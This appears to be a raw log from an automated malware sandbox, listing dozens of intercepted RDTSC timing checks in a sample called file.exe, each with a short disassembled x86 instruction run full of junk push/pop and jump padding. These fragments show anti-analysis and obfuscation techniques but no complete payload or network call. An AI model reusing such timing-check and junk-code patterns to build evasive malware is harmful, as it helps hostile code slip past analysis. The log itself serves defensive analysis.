Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8C9C second address: 5E8CA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8CA2 second address: 5E8CAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAC21 second address: 5EAC30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jbe 00007FB12C89D95Eh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDB35 second address: 5EDB89 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB12C899C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov edx, 42B6A75Ch 0x00000011 call 00007FB12C899C47h 0x00000016 mov edx, dword ptr [ebp+122D1891h] 0x0000001c pop edx 0x0000001d push dword ptr [ebp+122D1C28h] 0x00000023 mov edx, dword ptr [ebp+122D2847h] 0x00000029 or dx, 45B1h 0x0000002e call 00007FB12C899C39h 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 jo 00007FB12C899C36h 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDB89 second address: 5EDB8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDB8E second address: 5EDBC0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FB12C899C48h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB12C899C3Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDBC0 second address: 5EDBC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDBC7 second address: 5EDBD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDBD5 second address: 5EDBDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F108A second address: 5F108E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F108E second address: 5F10BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FB12C89D972h 0x0000000c push edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5060190 second address: 5060194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5060194 second address: 506019A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506019A second address: 50601A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50601A0 second address: 50601A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50601A4 second address: 50601A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040EC8 second address: 5040F07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D969h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB12C89D961h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB12C89D95Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020152 second address: 5020156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020156 second address: 502015C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502015C second address: 5020186 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB12C899C47h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020186 second address: 50201B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D969h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB12C89D95Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50201B4 second address: 50201BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50201BA second address: 50201E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D963h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+04h] 0x0000000e pushad 0x0000000f mov ebx, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 mov eax, 623B7B3Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50201E0 second address: 50201E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50201E4 second address: 5020200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push dword ptr [ebp+0Ch] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FB12C89D95Bh 0x00000012 pop esi 0x00000013 mov dh, DEh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040B5B second address: 5040B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040B5F second address: 5040B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040B63 second address: 5040B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040B69 second address: 5040B6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040B6F second address: 5040B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040B73 second address: 5040BDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D968h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FB12C89D95Dh 0x00000015 xor esi, 34AA4516h 0x0000001b jmp 00007FB12C89D961h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007FB12C89D960h 0x00000027 adc cl, 00000038h 0x0000002a jmp 00007FB12C89D95Bh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040BDC second address: 5040BE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040BE2 second address: 5040BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040BE6 second address: 5040BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040BEA second address: 5040C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov edi, esi 0x0000000c pushfd 0x0000000d jmp 00007FB12C89D968h 0x00000012 sub esi, 5BBDBAC8h 0x00000018 jmp 00007FB12C89D95Bh 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040C29 second address: 5040C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040C2D second address: 5040C48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D967h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504084D second address: 5040852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040852 second address: 5040864 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040864 second address: 5040868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040868 second address: 504086E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504078C second address: 50407AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop eax 0x00000011 mov ax, dx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404F9 second address: 50404FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404FF second address: 5040503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050379 second address: 505037F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505037F second address: 5050383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080E65 second address: 5080EC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB12C89D95Fh 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov ecx, 07F3D61Bh 0x00000013 movzx eax, dx 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FB12C89D968h 0x0000001f xor ch, 00000018h 0x00000022 jmp 00007FB12C89D95Bh 0x00000027 popfd 0x00000028 push ecx 0x00000029 mov ebx, 69E0233Ah 0x0000002e pop edi 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FB12C89D95Dh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080EC8 second address: 5080ECE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080ECE second address: 5080ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50604E4 second address: 50604E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50604E8 second address: 50604EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50604EE second address: 50604F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50604F4 second address: 50604F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50604F8 second address: 5060513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB12C899C3Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5060513 second address: 5060519 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5060519 second address: 506053C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB12C899C3Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506053C second address: 506054B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D95Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506054B second address: 506056F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov ch, 33h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506056F second address: 50605AA instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FB12C89D95Bh 0x0000000c or eax, 2B59483Eh 0x00000012 jmp 00007FB12C89D969h 0x00000017 popfd 0x00000018 popad 0x00000019 mov eax, dword ptr [ebp+08h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50605AA second address: 50605B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 470FE84Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50605B4 second address: 50605BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50605BA second address: 5060626 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax], 00000000h 0x0000000b pushad 0x0000000c mov edx, ecx 0x0000000e pushad 0x0000000f mov ebx, esi 0x00000011 call 00007FB12C899C3Ch 0x00000016 pop ecx 0x00000017 popad 0x00000018 popad 0x00000019 and dword ptr [eax+04h], 00000000h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FB12C899C3Ah 0x00000026 add cx, 36C8h 0x0000002b jmp 00007FB12C899C3Bh 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007FB12C899C48h 0x00000037 sbb al, 00000028h 0x0000003a jmp 00007FB12C899C3Bh 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5060626 second address: 506065E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB12C89D95Fh 0x00000008 movzx eax, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 pop edi 0x00000014 call 00007FB12C89D968h 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506065E second address: 5060664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5060664 second address: 5060668 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040626 second address: 5040662 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB12C899C3Eh 0x00000011 sbb si, 6BB8h 0x00000016 jmp 00007FB12C899C3Bh 0x0000001b popfd 0x0000001c mov edi, eax 0x0000001e popad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040662 second address: 5040666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040666 second address: 5040674 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040674 second address: 5040686 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB12C89D95Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040686 second address: 504072E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB12C899C43h 0x00000011 xor ecx, 58FBD78Eh 0x00000017 jmp 00007FB12C899C49h 0x0000001c popfd 0x0000001d jmp 00007FB12C899C40h 0x00000022 popad 0x00000023 pushfd 0x00000024 jmp 00007FB12C899C42h 0x00000029 and ecx, 62DF7538h 0x0000002f jmp 00007FB12C899C3Bh 0x00000034 popfd 0x00000035 popad 0x00000036 mov ebp, esp 0x00000038 jmp 00007FB12C899C46h 0x0000003d pop ebp 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FB12C899C47h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504072E second address: 5040734 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040734 second address: 5040738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50600D6 second address: 506010D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FB12C89D967h 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d jmp 00007FB12C89D964h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506010D second address: 5060111 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5060111 second address: 5060135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB12C89D969h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5060135 second address: 506013B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506013B second address: 506013F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506013F second address: 5060143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5060338 second address: 506033E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50806EA second address: 50806EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50806EE second address: 50806F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50806F4 second address: 5080778 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007FB12C899C40h 0x0000000f mov eax, dword ptr [76FB65FCh] 0x00000014 jmp 00007FB12C899C40h 0x00000019 test eax, eax 0x0000001b pushad 0x0000001c mov ax, E47Dh 0x00000020 pushfd 0x00000021 jmp 00007FB12C899C3Ah 0x00000026 jmp 00007FB12C899C45h 0x0000002b popfd 0x0000002c popad 0x0000002d je 00007FB19E74CE3Fh 0x00000033 jmp 00007FB12C899C3Eh 0x00000038 mov ecx, eax 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080778 second address: 5080791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FB12C89D963h 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080791 second address: 508080A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, dword ptr [ebp+08h] 0x0000000c jmp 00007FB12C899C41h 0x00000011 and ecx, 1Fh 0x00000014 jmp 00007FB12C899C3Eh 0x00000019 ror eax, cl 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push edi 0x0000001f pop eax 0x00000020 pushfd 0x00000021 jmp 00007FB12C899C49h 0x00000026 add esi, 2F2A19C6h 0x0000002c jmp 00007FB12C899C41h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508080A second address: 508082F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB12C89D95Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508082F second address: 5080871 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00342014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007FB13161A3BDh 0x00000024 push FFFFFFFEh 0x00000026 jmp 00007FB12C899C3Eh 0x0000002b pop eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FB12C899C47h 0x00000033 rdtsc
